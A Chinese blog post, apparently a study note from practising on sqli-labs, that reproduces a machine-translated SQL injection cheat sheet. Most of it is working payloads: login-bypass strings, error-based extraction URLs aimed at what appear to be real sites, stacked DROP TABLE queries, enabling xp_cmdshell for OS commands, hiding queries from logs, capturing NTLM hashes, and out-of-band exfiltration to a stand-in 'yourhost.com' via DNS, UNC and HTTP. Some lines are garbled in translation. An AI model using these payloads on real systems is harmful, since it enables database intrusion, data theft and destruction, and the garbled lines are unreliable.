用sqlmap用多了,之前学习过的手工注入都忘记的差不多了…今天部署了sqli-labs,借此契机,巩固并且加深对手工注入的学习以及理解!

文章目录索引

注入方式类型:

按照注入类型分类为BEUST:
  • BBoolean-based 基于布尔类型的注入
  • EError-base 基于报错的注入
  • UUnion select injection 利用联合查询的注入
  • SStacked injection 堆叠注入,说白了就是可以利用分隔符(; )执行多行语句
  • TTimebase blind 基于延时的盲注
按照有无回显:
    有回显:
  • Boolean-based   基于布尔类型的注入
  • Union select injection   利用联合查询的注入
  • Error-base   基于报错的注入
  • Stacked injection   堆叠注入
  • Timebase  基于延时的盲注
    无回显(盲注(blind inject)):
  • Boolean-based   基于布尔类型的注入
  • Timebase blind   基于延时的盲注
按照SQL数据类型:
  • 整型注入
  • 字符串类型注入
  • 搜索类型注入

 

 

[基础]常用注入语句:

M: MySQL
S: SQL Server
P: PostgreSQL
O: Oracle
+: 可能所有其他数据库
例子;
  • (MS)的意思是:MySQL和SQL Server等
  • (M * S)表示:只有在某些版本的MySQL或特殊情况下才能看到相关的注释和SQL Server

语法参考,示例攻击和猥琐的SQL注入技巧

结束/注释/行注释

行注释

注释掉其余的查询。
行注释通常对忽略查询的其余部分非常有用,因此您不必处理修复语法。

  • -- (SM)
    DROP sampletable;--
  • (M)
    DROP sampletable;#
行注释SQL注入攻击示例
  • 用户名: admin'--
  • SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
    这将以管理员用户身份登录,因为SQL查询的其余部分将被忽略。

内联注释

通过不关闭它们来查询剩余的查询,  或者您可以使用绕过黑名单,删除空格,混淆和确定数据库版本。

  • /*Comment Here*/ (SM)
    • DROP/*comment*/sampletable
    • DR/**/OP/*bypass blacklisting*/sampletable
    • SELECT/*avoid-spaces*/password/**/FROM/**/Members
  • /*! MYSQL Special SQL */(M)
    这是MySQL的特殊注释语法。这是完美的检测MySQL版本。如果你把一个代码放到这个注释中,它只会在MySQL中执行。只有当服务器比所提供的版本高时,你才可以使用它来执行一些代码。SELECT /*!32302 1/0, */ 1 FROM tablename
古典内联评论SQL注入攻击样本
  • ID:  10; DROP TABLE members /*
    只要在查询结束时删除其他内容即可。与…一样 10; DROP TABLE members --
  • SELECT /*!32302 1/0, */ 1 FROM tablename
    将抛出一个  ERROR 如果MySQL版本高于02年3月23日
MySQL版本检测示例攻击
  • ID: /*!32302 10*/
  • ID:   如果MySQL版本高于  3.23.02,10
    您将得到  相同的回应
  • SELECT /*!32302 1/0, */ 1 FROM tablename
    将抛出一个  被零除错误 如果MySQL版本高于02年3月23日

堆叠查询

在一个事务中执行多个查询。这在每个注入点都非常有用,特别是在SQL Server后端应用程序中。

  • ; (S)
    SELECT * FROM members; DROP members--

结束查询并启动一个新的。

语言/数据库堆栈查询支持表

绿色:  支持,  深灰色:  不支持,  浅灰色: 未知

SQL注入备忘单

关于MySQL和PHP; 
澄清一些问题;
PHP – MySQL不支持堆栈查询,Java不支持堆栈查询(确定ORACLE,对其他数据库不太确定)。 通常,MySQL支持堆栈查询,但是由于大多数配置中的数据库层,在PHP-MySQL应用程序中执行第二个查询是不可能的,或者MySQL客户端可能不支持这种查询。

堆叠的SQL注入攻击样本
  • ID: 10;DROP members --
  • SELECT * FROM products WHERE id = 10; DROP members--

这将 在正常的SQL Query之后运行  DROP成员的 SQL语句。

判断语句

根据if语句获取响应。这是  Blind SQL Injection的关键之一,对于盲目而准确地测试简单的东西也是非常有用的。

MySQL判断语句

  • IF(condition,true-part,false-part(M)
    SELECT IF(1=1,'true','false')

SQL Server判断语句

  • IF condition true-part ELSE false-part (S)
    IF (1=1) SELECT 'true' ELSE SELECT 'false'

Oracle判断语句

  • BEGIN
    IF condition THEN true-part; ELSE false-part; END IF; END;
     (O)
    IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

PostgreSQL判断语句

  • SELECT CASE WHEN condition THEN true-part ELSE false-part 结束; (P)
    SELECT CASE WEHEN (1=1) THEN 'A' ELSE 'B'END;
判断语句SQL注入攻击样本

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)   如果当前记录的用户不是  “sa”或“dbo”,
这将抛出  零除错误

使用整数

非常有用的绕过,  magic_quotes()和类似的过滤器,甚至WAFs。

  • 0xHEXNUMBER (SM)
    你可以像这样写hex;SELECT CHAR(0x66) (S)
    SELECT 0x5045 (这不是一个整数,它将是一个来自十六进制的字符串)(M)
    SELECT 0x50 + 0x45 (现在是整数!)(M)

字符串操作

字符串相关操作。这些对于建立不使用任何引号的注入非常有用,绕过任何其他黑名单或确定后端数据库。

字符串连接

  • + (S)
    SELECT login + '-' + password FROM members
  • || (* MO)
    SELECT login || '-' || password FROM members

*关于MySQL“||”; 
如果MySQL运行在ANSI模式下,它将会工作,否则MySQL将它作为“逻辑运算符”接受它将返回0.更好的方法是使用  CONCAT()MySQL中的函数。

  • CONCAT(str1, str2, str3, ...) (M)
    连接提供的字符串。
    SELECT CONCAT(login, password) FROM members

无需引号的字符串

这些是使用字符串的一些直接方法,但总是可以使用  CHAR()(MS)和  CONCAT()(M)来生成不带引号的字符串。

  • 0x457578 (M) – 十六进制表示字符串
    SELECT 0x457578
    这将在MySQL中被选为字符串。在MySQL中用简单的方法来生成字符串的十六进制表示使用这个;
    SELECT CONCAT('0x',HEX('c:\\boot.ini'))
  • CONCAT() 在MySQL中  使用
    SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
    这将返回’KLM’。
  • SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
    这将返回“KLM”。
  • SELECT CHR(75)||CHR(76)||CHR(77) (O)
    这将返回“KLM”。
  • SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)
    这将返回“KLM”。

基于十六进制的SQL注入示例

  • SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
    这将显示c:\ boot.ini的内容

字符串修改及相关

  • ASCII() (SMP)
    返回最左边字符的ASCII字符值。A必须具有盲注SQL注入的功能。SELECT ASCII('a')
  • CHAR() (SM)
    转换整数的ASCII。SELECT CHAR(64)

联合注入

有了union,你可以执行SQL查询交叉表。基本上你可以中毒查询,从另一个表中返回记录。

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members 
这将结合新闻表和成员表的结果,并返回所有这些结果。

另一个例子:
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

UNION – 解决语言问题

利用union注射有时会因为不同的语言设置(表格设置,字段设置,组合表格/数据库设置等)而出现错误,这些功能对于解决这个问题是非常有用的。这很少见,但如果你处理  日本,俄罗斯,土耳其  等应用程序,那么你会看到它。

  • SQL Server(S)
    使用   或其他有效的 –  检查SQL Server文档。 field COLLATE SQL_Latin1_General_Cp1254_CS_ASSELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
  • MySQL(M)
    Hex() 的每一个可能的问题

绕过登录(万能密码)(SMO +)

SQL注入101,登录技巧

  • admin' --
  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • ') or '1'='1--
  • ') or ('1'='1--
  • ….
  • 以不同的用户登录(SM *)
    ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

旧版本的MySQL不支持联合查询

绕过第二个MD5哈希登录

如果应用程序首先通过用户名获取记录,然后将返回的MD5与提供的密码的MD5进行比较,则需要一些额外的技巧来欺骗应用程序以绕过认证。您可以将结果与提供的密码的已知密码和MD5散列组合在一起。在这种情况下,应用程序将比较您的密码和您提供的MD5哈希而不是数据库中的MD5。

绕过MD5散列检查示例(MSP)

用户名:admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
密码:1234

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

利用函数报错注入

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b))

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b))

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

 

1、通过floor暴错

/*数据库版本*/

http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*简单办法暴库*/

http://www.waitalone.cn/sql.php?id=info()

/*连接用户*/

http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*连接数据库*/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴库*/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴表*/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴字段*/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴内容*/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

2、ExtractValue(有长度限制,最长32位)

http://www.waitalone.cn/sql.php?id=1+and extractvalue(1, concat(0x7e, (select @@version),0x7e))
http://www.waitalone.cn/sql.php?id=1+and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))

3、UpdateXml(有长度限制,最长32位)

http://www.waitalone.cn/sql.php?id=1+and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

http://www.waitalone.cn/sql.php?id=1+and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

4、NAME_CONST(适用于低版本)

http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)–

5、Error based Double Query Injection (http://www.vaibs.in/error-based-double-query-injection/)

/*数据库版本*/

http://www.waitalone.cn/sql.php?id=1+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1

 

报错注入 – 查找列名称

使用HAVING BY查找列名称   – 报错注入(S)

以相同的顺序,

  •  HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1 HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- 等等
  • 如果你没有得到更多的错误,那么就结束了。

通过ORDER BY  (MSO +)查找SELECT查询中有多少列

通过ORDER BY查找列号可以加快UNION SQL注入过程。

  • ORDER BY 1--
  • ORDER BY 2--
  • ORDER BY N-- 等等
  • 继续下去,直到出现错误。出现错误时意味着您找到了所选列的数量。

数据类型,UNION等

Hints,

  • 由于  image  类似的非明显的字段类型,总是使用  UNION  和  ALL 。默认情况下,union会尝试获取不同的记录。
  • 为了摆脱从左表中不需要的记录使用-1或任何不存在的记录查询开始查询(如果注入在WHERE)。如果您一次只能得到一个结果,这可能是至关重要的。
  • 在大多数数据类型的UNION注入中使用NULL,而不是试图猜测字符串,日期,整数等
    • 在盲目小标题中要小心,你可以理解错误来自数据库或应用程序本身。由于像ASP.NET这样的语言通常会在尝试使用NULL值时抛出错误(因为通常开发人员不希望在用户名字段中看到NULL

查找列类型

  • ' union select sum(columntofind) from users-- (S)  如果你没有得到一个错误,这意味着 列是数字。
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
  • 你也可以使用CAST()或CONVERT()
    • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
  • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
    没有错误 – 语法是正确的。使用MS SQL Server。诉讼。
  • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
    没有错误 – 第一列是一个整数。
  • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 -- 
    错误! – 第二列不是一个整数。
  • 11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 –-
    没有错误 – 第二列是一个字符串。
  • 11223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 –-
    错误! – 第三列不是一个整数。…Microsoft OLE DB Provider for SQL Server error '80040e07'
    Explicit conversion from data type int to image is not allowed.

在联合目标错误之前,你会得到convert()错误! 所以先从convert()然后union

简单插入(MSO +)

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

有用的功能/信息收集/存储过程/批量SQL注入注释

@@版本  (MS)
数据库的版本和SQL Server的更多详细信息。这是一个常数。您可以像任何其他列一样选择它,您不需要提供表名称。另外,您可以使用插入,更新语句或函数。

INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)

散装插页(S)

将文件内容插入到表中。如果您不知道Web应用程序的内部路径,则可以  阅读IIS(仅适用于IIS 6 )元数据库文件%systemroot%\ system32 \ inetsrv \ MetaBase.xml),然后在其中搜索以确定应用程序路径。

  1. 创建表foo(行varchar(8000))
  2. 批量插入foo从’c:\ inetpub \ wwwroot \ login.asp’
  3. 删除临时表,并重复其他文件。

BCP(S)

写文本文件。登录凭证是必需使用此功能。
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

VBS,SQL Server中的WSH(S)

由于ActiveX支持,您可以在SQL Server中使用VBS,WSH脚本。

declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --

执行系统命令,xp_cmdshell(S)

众所周知的技巧,默认情况下,它在SQL Server 2005中被禁用  。 你需要有管理员权限。

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

简单的ping检查(启动之前配置你的防火墙或嗅探器来识别请求),

EXEC master.dbo.xp_cmdshell 'ping '

你不能直接从错误或工会或别的东西读取结果。

SQL Server中的一些特殊表(S)

  • 错误消息
    master..sysmessages
  • 链接服务器
    master..sysservers
  • 密码(2000和20005都可以破解,他们使用非常相似的散列算法 
    SQL Server 2000: masters..sysxlogins
    SQL Server 2005: sys.sql_logins

更多SQL Server存储过程(S)

  1. Cmd Execute(xp_cmdshell
    exec master..xp_cmdshell’dir’
  2. 注册表资料(xp_regread
    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite
      exec xp_regread HKEY_LOCAL_MACHINE,’SYSTEM \ CurrentControlSet \ Services \ lanmanserver \ parameters’,’nullsessionshares’exec
      xp_regenumvalues HKEY_LOCAL_MACHINE,’SYSTEM \ CurrentControlSet \ Services \ snmp \ parameters \ validcommunities’
  3. 管理服务(xp_servicecontrol
  4. 媒体xp_availablemedia
  5. ODBC资源(xp_enumdsn
  6. 登录模式(xp_loginconfig
  7. 创建cab文件(xp_makecab
  8. 域枚举(xp_ntsec_enumdomains
  9. 进程kill需要PID)(xp_terminate_process
  10. 添加新的程序(实际上你可以执行任何你想要的
    sp_addextendedproc’xp_webserver’,’c:\ temp \ x.dll’exec
    xp_webserver
  11. 将文本文件写入UNC或内部路径(sp_makewebtask)

MSSQL批量注释

SELECT * FROM master..sysprocesses /*WHERE [email protected]@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME()
IS_MEMBER(Transact-SQL)
IS_SRVROLEMEMBER(Transact-SQL)
OPENDATASOURCE(Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL / Q“DBCC SHOWCONTIG”

OPENROWSET(Transact-SQL) –  http://msdn2.microsoft.com/en-us/library/ms190312.aspx

SQL Server插入查询中不能使用子查询。

SQL注入LIMIT(M)或ORDER(MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;

如果注射是在第二个  限制,  你可以注释掉或使用你的工会注射

关闭SQL Server(S)

当你真的生气了, ';shutdown --

在SQL Server 2005中启用xp_cmdshell

默认情况下,xp_cmdshell和其他潜在危险的存储过程在SQL Server 2005中被禁用。如果你有管理员权限,那么你可以启用这些。

EXEC sp_configure 'show advanced options',1
RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

在SQL Server中查找数据库结构(S)

获取用户定义的表

SELECT name FROM sysobjects WHERE xtype = 'U'

获取列名称

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

Moving records (S)

  • 修改WHERE并使用  NOT IN 或  NOT EXIST
    ... WHERE users NOT IN ('First User', 'Second User')
    SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) – 非常好
  • 使用猥琐的技巧
    SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int 

    Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

 

从SQL Server(S)中的报错注入的SQL注入提取数据的快速方法

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @[email protected]+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

详细文章:  从基于错误的SQL注入提取数据的快速方法

在MySQL中查找数据库结构(M)

获取用户定义的表

SELECT table_name FROM information_schema.tables WHERE table_schema = 'tablename'

获取列名称

SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = 'tablename'

在Oracle(O)中查找数据库结构

获取用户定义的表

SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'

获取列名称

SELECT * FROM all_col_comments WHERE TABLE_NAME = 'TABLE'

盲SQL注入

关于盲注SQL

在一个相当不错的生产应用程序中,通常  看不到页面上的错误响应,因此无法通过联合攻击或基于错误的攻击来提取数据。您必须使用Blind SQL Injections攻击来提取数据。有两种盲Sql注入。

正常盲,你看不到在页面中的响应,但你仍然可以确定从响应查询结果或HTTP状态代码
完全盲,你看不出在任何种类的任何输出的差异。这可以是注入日志功能或类似的。不太常见,但是。

在正常的百叶窗中,您可以使用  if语句  或滥用  WHERE查询注入  (通常更容易),在完全盲注的情况下,您需要使用一些等待函数并分析响应时间。为此,您可以在SQL Server中使用  WAIT FOR DELAY’0:0:10′ ,在MySQL中使用BENCHMARK()和sleep(10),  在PostgreSQL中使用pg_sleep(10) ,以及在ORACLE中使用一些PL / SQL技巧。

真实和有点复杂的盲注入SQL注入攻击样本

这个输出取自一个私人Blind SQL Injection工具,同时利用SQL Server后端应用程序和枚举表名。这个请求为第一个表名的第一个字符完成。由于自动化的原因,SQL查询稍微复杂一些。在我们试图通过二进制搜索算法来确定一个字符的ASCII值。

TRUE  和  FALSE  标志标记查询返回true或false。

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103–

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89–

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83–

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80–

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)

由于  最后两个查询都失败, 我们清楚地知道表名的第一个字符的  ASCII值是80,这意味着第一个字符是“P”。这是利用二进制搜索算法来利用Blind SQL注入的方法。其他众所周知的方式是逐点读取数据。两者都可以在不同的条件下有效。

使用数据库Wait / Sleep以盲注攻击

首先使用这个,如果它真的是盲目的,否则只是使用1/0风格错误来识别差异。其次,使用时间超过20-30秒时要小心。数据库API连接或脚本可能超时。

WAIT FOR DELAY ‘time’ (S)

这就像睡觉,等待指定的时间。CPU安全的方式来使数据库等待。

WAITFOR DELAY '0:0:10'--

此外,你可以使用这样的分数,

WAITFOR DELAY '0:0:0.51'

真实案例

  • 我们是“SA”吗?
    if (select user) = 'sa' waitfor delay '0:0:10'
  • ProductID = 1;waitfor delay '0:0:10'--
  • ProductID =1);waitfor delay '0:0:10'--
  • ProductID =1';waitfor delay '0:0:10'--
  • ProductID =1');waitfor delay '0:0:10'--
  • ProductID =1));waitfor delay '0:0:10'--
  • ProductID =1'));waitfor delay '0:0:10'--

BENCHMARK()(M)

基本上,我们滥用这个命令让MySQL等一下。注意!你会十分严重的滥用Web服务器的资源!

BENCHMARK(howmanytimes, do this)

真实案例

  • 我们是Are we root ?
    IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
  • 检查表存在于MySQL中
    IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(秒)(P)

睡眠提供的秒。

  • SELECT pg_sleep(10); 
    睡10秒。

睡眠(秒)(M)

睡眠提供的秒。

  • SELECT sleep(10); 
    睡10秒。

dbms_pipe.receive_message(O)

睡眠提供的秒。

  • (SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual){INJECTION} =你想运行查询。如果条件成立,则会在10秒后回复。如果是假的,会延迟一秒钟。

Covering Your Tracks

SQL Server -sp_password日志旁路(S)

由于安全原因(!),SQL Server不记录包含sp_password的查询。所以,如果你添加–sp_password到你的查询,它将不会在SQL Server日志中(当然还是会在web服务器日志中,  如果可能的话尝试使用POST

无痕的SQL注入测试

这些测试对于盲目的sql注入和无声的攻击是很好的。

  1. product.asp?id=4 (SMO)
    1. product.asp?id=5-1
    2. product.asp?id=4 OR 1=1
  2. product.asp?name=Book
    1. product.asp?name=Bo'%2b'ok
    2. product.asp?name=Bo' || 'ok (OM)
    3. product.asp?name=Book' OR 'x'='x

额外的MySQL注释

  • 子查询只能使用MySQL 4.1+
  • 用户
    • SELECT User,Password FROM mysql.user;
  • SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root';
  • SELECT ... INTO DUMPFILE
    • Write query into a new file (can not modify existing files)
  • UDF函数
    • create function LockWorkStation returns integer soname 'user32';
    • select LockWorkStation();
    • create function ExitProcess returns integer soname 'kernel32';
    • select exitprocess();
  • SELECT USER();
  • SELECT password,USER() FROM mysql.user;
  • 管理员哈希的第一个字节
    • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
  • 读取文件
    • query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • MySQL负载数据infile
    • 默认情况下它不可用!
      • create table foo( line blob );
        load data infile 'c:/boot.ini' into table foo;
        select * from foo;
  • 更多的时机在MySQL
  • select benchmark( 500000, sha1( 'test' ) );
  • query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • select if( user() like '[email protected]%', benchmark(100000,sha1('test')), 'false' );
    枚举数据,猜测蛮力

    • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );

潜在有用的MySQL函数

  • MD5()
    MD5哈希
  • SHA1()
    SHA1哈希
  • PASSWORD()
  • ENCODE()
  • COMPRESS()
    压缩数据,在Blind SQL Injections中可以很好地处理大的二进制读取。
  • ROW_COUNT()
  • SCHEMA()
  • VERSION()
    与…一样 @@version

二次注入

基本上,你把一个SQL注入到某个地方,并期望它在另一个行动未经过滤。这是常见的隐藏层问题。

姓名:  ' + (SELECT TOP 1 password FROM users ) + ' 
电子邮件: [email protected]

如果应用程序在不安全的存储过程或函数中使用名称字段,进程等,那么它将插入第一个用户的密码作为你的名字等。

SQL Server获取NTLM散列

此攻击可以帮助您获取SQL Server用户的目标服务器的Windows密码,但可能您的入站连接将受到防火墙限制。可以是非常有用的内部渗透测试。我们强制SQL Server连接我们的Windows UNC共享和捕获数据NTLM会话与像凯恩和亚伯的工具。

UNC批量插入(S)
bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'

查看批量插入参考,了解如何使用批量插入。

带外通道攻击(Dnslog)

SQL Server

  • ?vulnerableParam = 1; SELECT * FROM OPENROWSET(’SQLOLEDB’,({INJECTION})+’。yourhost.com’;’sa’;’pwd’,’SELECT 1’)
    使DNS解析请求到{INJECT} .yourhost.com
  • ?vulnerableParam = 1; DECLARE @q varchar(1024); SET @q =’\\’+({INJECTION})+’。yourhost.com \\ test.txt’; EXEC master..xp_dirtree @q将
    DNS解析请求发送到{INJECTION} .yourhost.com{INJECTION} =您想运行查询。

MySQL

  • ?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat(‘\\\\’,({INJECTION}), ‘yourhost.com\\’)))
    Makes a NBNS query request/DNS resolution request to yourhost.com
  • ?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE ‘\\\\yourhost.com\\share\\output.txt’)
    Writes data to your shared folder/file{INJECTION} =你想运行查询。

Oracle

  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ sniff.php?sniff=’||({INJECTION})||”) FROM DUAL)
    Sniffer application will save results
  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ ‘||({INJECTION})||’.html’) FROM DUAL)
    Results will be saved in HTTP access logs
  • ?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||’.yourhost.com’) FROM DUAL)
    You need to sniff dns resolution requests to yourhost.com
  • ?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROM DUAL)
